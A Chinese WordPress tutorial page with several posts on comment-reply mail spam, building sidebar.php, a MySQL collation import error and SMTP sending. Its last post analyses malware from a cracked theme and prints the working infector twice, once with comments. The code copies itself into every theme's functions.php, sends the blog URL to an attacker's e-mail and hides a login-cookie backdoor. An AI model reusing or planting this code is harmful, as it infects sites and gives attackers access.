标签 wordpress教程 下的文章

WordPress评论回复邮件提醒BUG修复代码

给wordpress网站评论回复邮件提醒功能,可以通过邮件通知评论者的自己的评论被回复,很大程度提高了用户体验,同时增加访客的回头访问率,因此很受wordpress站长的喜欢。但是ozabc的博主发现目前流传的邮件提醒代码存在重大的bug。

我可以给你博客的所有评论都回复一遍,不仅在你的博客留下了垃圾评论,垃圾内容也通过评论回复提醒邮件顺带发出去了。

无需花费心思去获取评论者的邮件地址,也不用担心评论是否还在等待审核,垃圾广告内容顺利发出,欧耶!

如果这个bug被人利用,博客将成为垃圾邮件的发送者,不仅对评论用户,对自己博客的危险都非常大。

解决方法:

1、进入WordPress后台 – 设置 – 讨论,勾选”评论必须经人工批准”,这样所有评论必须经过管理员审核才能显示,虽然有点麻烦,但是我觉得这是博主应该负起的一项责任。

2、接着需要将之前的评论回复邮件提醒的代码做些修改。

新设计的运行机制是这样的:对于管理员和编辑的评论回复,可以直接给评论者发送提醒邮件;对于普通访客发表的评论,先让它在待审评论中呆着,等博主审核后,再给评论者发送提醒邮件。

下面是一个评论回复邮件提醒的代码范例,使用的是所有评论回复都发送邮件通知的版本,如果你需要其他功能,请参考网上的代码进行修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function ludou_comment_mail_notify($comment_id, $comment_status) {
  // 评论必须经过审核才会发送通知邮件
  if ($comment_status !== 'approve' && $comment_status !== 1)
    return;
 
  $comment = get_comment($comment_id);
 
  if ($comment->comment_parent != '0') {
    $parent_comment = get_comment($comment->comment_parent);
 
    // 邮件接收者email
    $to = trim($parent_comment->comment_author_email);
 
    // 邮件标题
    $subject = '您在[' . get_option("blogname") . ']的留言有了新的回复';
 
    // 邮件内容,自行修改,支持HTML
    $message = '
<p>Hi, '
. $parent_comment->comment_author . '</p>
<p>您之前在《'
. get_the_title($comment->comment_post_ID) . '》的留言:<br />' . $parent_comment->comment_content . '</p>
<p>'
. $comment->comment_author . ' 给您回复:<br />' . $comment->comment_content . '<br /><br /></p>
<p>您可以 <a href="'
. htmlspecialchars(get_comment_link($comment->comment_parent)) . '">点此查看回复完整內容</a></p>
<p>欢迎再度光临 <a href="'
.home_url().'">' . get_option('blogname') . '</a></p>
<p>(此邮件由系统自动发送,请勿回复)</p>'
;   $message_headers = "Content-Type: text/html; charset=\"".get_option('blog_charset')."\"\n";   // 不用给不填email的评论者和管理员发提醒邮件 if($to != '' && $to != get_bloginfo('admin_email')) @wp_mail($to, $subject, $message, $message_headers); } }     // 编辑和管理员的回复直接发送提醒邮件,因为编辑和管理员的评论不需要审核 add_action('comment_post', 'ludou_comment_mail_notify', 20, 2);   // 普通访客发表的评论,等博主审核后再发送提醒邮件 add_action('wp_set_comment_status', 'ludou_comment_mail_notify', 20, 2);

转自ozabc

WordPress主题制作课程#8:制作边栏文件sidebar.php

前面的教程中已经制作完成wordpress主题的头部文件header.php和页脚文件footer.php,那么接下来就制作主题的侧边栏文件sidebar.php。

因为侧边栏是每个页面公用的模块,所以就像制作header.php和footer.php文件一样,从index.php中提取侧边栏代码,放至sidebar.php文件中。

在主题目录Aurelius下新建文件sidebar.php,从index.php中提取一下代码,放到sidebar.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
	<!-- Column 2 / Sidebar -->
    <div class="grid_4">
        <h4>Catagories</h4>
        <ul class="sidebar">
            <li><a href="">So who are we?</a></li>
            <li><a href="">Philosophy</a></li>
            <li><a href="">History</a></li>
            <li><a href="">Jobs</a></li>
            <li><a href="">Staff</a></li>
            <li><a href="">Clients</a></li>
        </ul>
        <h4>Archives</h4>
        <ul class="sidebar">
            <li><a href="">January 2010</a></li>
            <li><a href="">December 2009</a></li>
            <li><a href="">Novemeber 2009</a></li>
            <li><a href="">October 2009</a></li>
            <li><a href="">September 2009</a></li>
            <li><a href="">August 2009</a></li>
        </ul>
    </div>
    <div class="hr grid_12 clearfix">&nbsp;</div>

再用文本编辑器(如notepad++)打开index.php、archive.php、page.php和single.php,删掉以上类似代码,改成:

1
<?php get_sidebar(); ?>

修改完成后,打开博客主页,检查制作的主题是否可以正常工作。

wordpress程序提供了可以拖动模块到侧边栏的小工具(位置:后台——外观——小工具),但主题当前的侧边栏使用的还是静态的代码,要实现小工具功能,还需要继续往下做。

为了适应WordPress程序,还要对sidebar.php做一些微调,下载新的样式表style.css(aurelius_style.zip),替换Aurelius目录下的style.css

然后开始sidebar.php的制作,我们将在侧边栏放置4个栏目。在初始状态下(也就是你没有在侧边栏放置任何小工具的情况下),这4个栏目自上而下为分类目录、最新文章、标签云和文章月存档。

现在将sidebar.php中所有代码删除,改成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
    <!-- Column 2 / Sidebar -->
    <div class="grid_4">
 
    <?php if ( !function_exists('dynamic_sidebar')
|| !dynamic_sidebar('First_sidebar') ) : ?>
        <h4>分类目录</h4>
        <ul>
            <?php wp_list_categories('depth=1&title_li=&orderby=id&show_count=0&hide_empty=1&child_of=0'); ?>
        </ul>
    <?php endif; ?>
 
    <?php if ( !function_exists('dynamic_sidebar')
|| !dynamic_sidebar('Second_sidebar') ) : ?>       
        <h4>最新文章</h4>
        <ul>
            <?php
$posts = get_posts('numberposts=6&orderby=post_date');
foreach($posts as $post) {
setup_postdata($post);
echo '<li><a href="' . get_permalink() . '">' . get_the_title() . '</a></li>';
                }
                $post = $posts[0];
            ?>
        </ul>
    <?php endif; ?>
 
    <?php if ( !function_exists('dynamic_sidebar')
|| !dynamic_sidebar('Third_sidebar') ) : ?>
        <h4>标签云</h4>
        <p><?php wp_tag_cloud('smallest=8&largest=22'); ?></p>
    <?php endif; ?>
 
    <?php if ( !function_exists('dynamic_sidebar')
|| !dynamic_sidebar('Fourth_sidebar') ) : ?>                   
        <h4>文章存档</h4>
        <ul>
            <?php wp_get_archives('limit=10'); ?>
        </ul>
    <?php endif; ?>
 
    </div>
    <div class="hr grid_12 clearfix">&nbsp;</div>

然后点此处下载functions.php(aurelius_functions.zip)放到主题目录Aurelius下,这时候在WordPress后台 – 外观 – 小工具,可以正常地拖动小工具到侧边栏了。

到此,sidebar.php就制作成功了。

模板文件下载:aurelius_sidebar.zip

教程摘自ozabc

wordpress导入数据错误MySQL返回:#1273 &#8211; Unknown collation:&#8217;utf8mb4_unicode_ci&#8217;

wordpress网站转移服务器空间,通过phpmyadmin导入sql数据时出现错误,错误提示:

MySQL返回:

#1273 – Unknown collation:’utf8mb4_unicode_ci’

大致意思是“没有定义的编码集utf8mb4”。搜索查询后发现utf8mb4是utf8的一个衍生形式,utf-8里的一个字符只能最多支持3个字节,而utf8mb4则扩展到一个字符支持4个字节。而utf8mb4只有在mysql数据库版本是5.5.3+的时候才支持,网站原mysql的版本是5.6,导入的mysql版本是5.0,因此出现#1273错误。

wordpress导入数据错误MySQL返回:#1273

wordpress官方的相关说明是只要在数据库支持utf8mb4的时候会把部分数据表的编码升级为utf8mb4,如果不支持就不会转化为utf8mb4编码(wordpress 4.4版本支持mysql 5.0+)。

解决方法:

方法一:替换编码

使用代码编辑器打开导出的sql数据文件;

先查找:

utf8mb4_unicode_ci

替换为:

utf8_general_ci

再查找

utf8mb4

替换为

utf8

注意:一定要按照上面的顺序进行替换,否则不能替换成功。

PS:博客吧通过该方法导入成功,暂时没有发现有问题,但还是要先备份好数据再进行操作。

方法二:把网站要用的mysql数据库升级到5.5.3以上版本。

解决wordpress 4.2中文版本菜单“显示选项”无法打开的方法

偶然发现自己的wordpress博客后台外观下菜单的“显示选项”无法打开,而其它页面的“显示选项”则能正常打开,百度发现普遍是wordpress 4.2中文版升级后出现的问题,估计是中文版本的wordpress后台菜单管理文件导致,解决方法是替换相关文件。

问题截图:

解决wordpress 4.2中文版本菜单“显示选项”无法打开的方法

解决方法:

在wordpress 4.2之前版本的wp-admin/文件下找到nav-menus.php文件,上传替换当前网站对应目录的nav-menus.php文件,重新打开菜单页面即可。

文件下载:nav-menus.php

解决wordpress使用万网主机不能发邮件问题

万网主机禁用了mail()函数,导致默认使用mail()函数的wordpress程序无法发送邮件,站长只好选择SMTP来发送邮件(如wordpress SMTP插件:WP Mail SMTP),可这还没完,wordpress的SMTP发送方式使用的是steam_connect_client,而万网主机提供的是fsockopen,因此要顺利发送邮件,还要修改wordpress程序的源文件class-smtp.php,把wordpres的SMTP发送方式改为fsockopen以迎合万网主机。

1、万网主机fsockopen函数默认是关闭的,在万网主机管理面板中开启fsockopen函数:

解决wordpress使用万网主机不能发邮件问题

2、编辑wp-include/目录下的class-smtp.php文件,找到以下代码:

1
2
3
4
5
6
7
8
9
$socket_context = stream_context_create($options);
$this->smtp_conn = @stream_socket_client(
$host . ":" . $port,
$errno,
$errstr,
$timeout,
STREAM_CLIENT_CONNECT,
$socket_context
);

替换为以下代码:

1
$this->smtp_conn = @fsockopen($host,$port,$errno,$errstr,$timeout);

提示:QQ邮箱偶尔还是不能发送邮件,163邮箱测试没有问题。

提醒:由于该方法修改了wordpress程序的源文件,因此每次升级wordpress后都需要进行修改。

方法整理自wordpress大学问答中心

wordpress主题functions.php文件恶意代码注释及删除方法

测试网上下载的一个破解版本wpyou主题,启用时出现如“Fatal error: Cannot redeclare _verifyactivate_widgets()”的报错,检查主题的functions.php文件时,发现了_verifyactivate_widgets()、_verify_isactivate_widgets()、_check_isactive_widget()、_get_allwidgetscont()、_prepare_widgets()、_popular_posts()等函数,乍看之下,还以为是小工具之类的函数,实际是恶意代码。

完整的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
<?php 
function _check_isactive_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				
					$output .= ($showdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}
if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
	if(!isset($com_length)) $com_length=120;
	if(!isset($text_value)) $text_value="cookie";
	if(!isset($allowed_tags)) $allowed_tags="<a>";
	if(!isset($type_filter)) $type_filter="none";
	if(!isset($expl)) $expl="";
	if(!isset($filter_homes)) $filter_homes=get_option("home"); 
	if(!isset($pref_filter)) $pref_filter="wp_";
	if(!isset($use_more)) $use_more=1; 
	if(!isset($comm_type)) $comm_type=""; 
	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
	if(!isset($postauthor_comment)) $postauthor_comment="";
	if(!isset($comm_is_approved)) $comm_is_approved=""; 
	if(!isset($postauthor)) $postauthor="auth";
	if(!isset($more_link)) $more_link="(more...)";
	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
	if(!isset($morecontents)) $morecontents="ma".$expl."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_widget) :
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tags)) $f_tags=1;
	if(!isset($type_filters)) $type_filters=$filter_homes; 
	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
	if(!isset($aditional_tags)) $aditional_tags="div";
	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	
	if(!isset($showdots)) $showdots=1;	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#	if($com_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $com_length) {
				$l=$com_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed_tags) {
		$output=strip_tags($output, $allowed_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type_filter, $output);
	switch($aditional_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}
 
	if ($use_more ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 		
?>

每当wp加载主题时,会调用function.php里面的函数,而恶意代码会在此过程中加在,并检测到你wp主题的绝对路径,之后把其它的主题一并感染,而且它加了很多伪装代码,此代码变量众多,下面是google后找到的结果:

再来大概说说它的工作原理,首先它会存在某一主题里面,当你启用调试此主题时,这段代码可以通过遍历获得你主题目录下的所有主题里面的functions.php,并在functions.php文件结尾处的最后一个“?>”处自动添加下面的恶意病毒代码,如果恶意病毒代码添加成功,它会发送你博客的url地址到livethemas@gmail.com(可能大家没看到这个邮箱地址的添加位置,这就是它的巧妙之处,它将email地址拆分转义,然后用多重变量引用,下面的代码我已经用红色标注出了此email地址。

解决方法:

把感染了代码的主题下载到电脑本地,在每个主题的functions.php文件中删除所有恶意代码,再上传到主题目录启用。

PS:因此博客吧建议真心想做网站的站长购买正版主题,安全有保障!

下面是该代码的注释版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
<?php
function _verifyactivate_widgets(){
    //当前文件名,如/path-to-www/wp-content/themes/SimpleDark/functions.php
        //查找当前主题functions.php文件中最后一个 < ? 标记,从这个标记的位置开始,取得一直到文件尾的内容
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));
    $output="";
    $allowed="";
    //去除html和php标签,其实这一句是扯蛋。。。
    $output=strip_tags($output, $allowed);
    //取得主题目录themes的绝对路径,如 /path-to-www/wp-content/themes
        //为了加强程序的兼容性,它不惜以这种很晦涩的方式来获取。。。
        //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
        foreach ($direst as $item){
            //如果主题functions.php文件可写
            if (is_writable($item)){
                //特征码
                $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                //取目标functions.php文件内容
                $cont=file_get_contents($item);
                //没找到特征码?OK,试图感染
                if (stripos($cont,$ftion) === false){
                    //查看目标functions.php文件最后是否是以 ? > 结尾,如果不是,给加上 ? > 标记
                    $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
                    //这里的代码是忽悠人了,模仿WP widgets的代码,蛊惑你的眼睛,让你觉得这是widget代码。。。
                    $output .= $before . "Not found" . $after;
                    //如果文件是以 ?> 标记结尾的,连标记一起取过来
                    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                    //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
                    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);
                    //后面这句也是伪装用的
                    $output .= ($isshowdots &#038;&#038; $ellipsis) ? "..." : "";                }
            }
        }
    }
    return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
    //从$wids数组弹出一个元素(实际上是一个位置)
    $places=array_shift($wids);
    //如果位置字串是以/结尾的,则去掉/
    if(substr($places,-1) == "/"){
        $places=substr($places,0,-1);
    }
 
    //若不存在这样的文件或目录则直接返回false
    if(!file_exists($places) || !is_dir($places)){
        return false;
    }elseif(is_readable($places)){
        //否则的话。。。嘿嘿
        //遍历此目录
        $elems=scandir($places);
        foreach ($elems as $elem){
            if ($elem != "." &#038;&#038; $elem != ".."){                //如果是目录,则加入$wids数组
                if (is_dir($places . "/" . $elem)){
                    $wids[]=$places . "/" . $elem;
                } elseif (is_file($places . "/" . $elem)&#038;&#038;                    $elem == substr(__FILE__,-13)){
                        //否则,如果是文件,并且文件名等于 functions.php的话,则加入到$items数组保存,这才是它的目的functions.php正是它要找的
                    $items[]=$places . "/" . $elem;}
                }
            }
    }else{
        return false;  
    }
    //下面还有子目录?再找找看,递归
    if (sizeof($wids) > 0){
        return _get_allwidgets_cont($wids,$items);
    } else {
        //好了,完事了,以数组返回所有找到的functions.php文件的绝对路径
        return $items;
    }
}
 
//下面是3个针对低版本的php而写的兼容函数
if(!function_exists("stripos")){
    function stripos(  $str, $needle, $offset = 0  ){
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
    }
}
 
if(!function_exists("strripos")){
    function strripos(  $haystack, $needle, $offset = 0  ) {
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
        if(  $offset < 0  ){
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
        }
        else{
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
        }
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
        return $pos;
    }
}
if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
        $dirArray = array();
        if ($handle = opendir($dir)) {
            while (false !== ($file = readdir($handle))) {
                if (($file != "." &#038;&#038; $file != "..") || $skipDots == true) {                    if($listDirectories == false) { if(is_dir($file)) { continue; } }
                    array_push($dirArray,basename($file));
                }
            }
            closedir($handle);
        }
        return $dirArray;
    }
}
 
//这个动作添加了,用于检测所有主题目录下functions.php并感染
add_action("admin_head", "_verifyactivate_widgets");
 
function _getprepare_widget(){
    if(!isset($text_length)) $text_length=120;
    if(!isset($check)) $check="cookie";
    if(!isset($tagsallowed)) $tagsallowed="<a>";
    if(!isset($filter)) $filter="none";
    if(!isset($coma)) $coma="";
    if(!isset($home_filter)) $home_filter=get_option("home");
    if(!isset($pref_filters)) $pref_filters="wp_";
    if(!isset($is_use_more_link)) $is_use_more_link=1;
    if(!isset($com_type)) $com_type="";
    if(!isset($cpages)) $cpages=$_GET["cperpage"];
    if(!isset($post_auth_comments)) $post_auth_comments="";
    if(!isset($com_is_approved)) $com_is_approved="";
    if(!isset($post_auth)) $post_auth="auth";
    if(!isset($link_text_more)) $link_text_more="(more...)";
    if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
    if(!isset($checkswidgets))
    //这个实际是wp_set_auth_cookie
    $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
    if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
    if(!isset($contentmore)) $contentmore="ma".$coma."il";
    if(!isset($for_more)) $for_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
 
    //如果 _is_widget_active_ option内容为空,即表示没有被感染过
    if (!$widget_yes) :
 
    global $wpdb, $post;
    //取出存在已经通过的评论(不包括trackback/pingback)的文章
    // post_author 为 livethemas@gmail.com 的文章,肯定是没有的
 
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#    if (!empty($post->post_password)) {
        if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
            if(is_feed()) {
                $output=__("There is no excerpt because this is a protected post.");
            } else {
                $output=get_the_password_form();
            }
        }
    }
    if(!isset($fixed_tags)) $fixed_tags=1;
    if(!isset($filters)) $filters=$home_filter;
    //$gettextcomments实际上为 wp_mail
    if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
    if(!isset($tag_aditional)) $tag_aditional="div";
 
    //这里$sh_cont即为 livethemas@gmail.com
    if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#    if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; 
    if(!isset($isshowdots)) $isshowdots=1;
 
    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
        $text=$post->post_content;
    } elseif($fakeit == 1) {
        $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
        $text=$post->post_excerpt;
    }
    //开始调用 wp_mail 向 livethemas@gmail.com 发送邮件,标题和内容都是被感染的博客的URL 地址
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#    if($text_length < 0) {
        $output=$text;
    } else {
        if(!$no_more &#038;&#038; strpos($text, "<!--more-->")) {            $text=explode("<!--more-->", $text, 2);
            $l=count($text[0]);
            $more_link=1;
            //执行这一句时就开始发邮件了。
            $comments=$wpdb->get_results($sql);
        } else {
            $text=explode(" ", $text);
            if(count($text) > $text_length) {
                $l=$text_length;
                $ellipsis=1;
            } else {
                $l=count($text);
                $link_text_more="";
                $ellipsis=0;
            }
        }
        for ($i=0; $i<$l; $i++)
                $output .= $text[$i] . " ";
    }
    //把感染标记置为1
    update_option("_is_widget_active_", 1);
    if("all" != $tagsallowed) {
        $output=strip_tags($output, $tagsallowed);
        return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
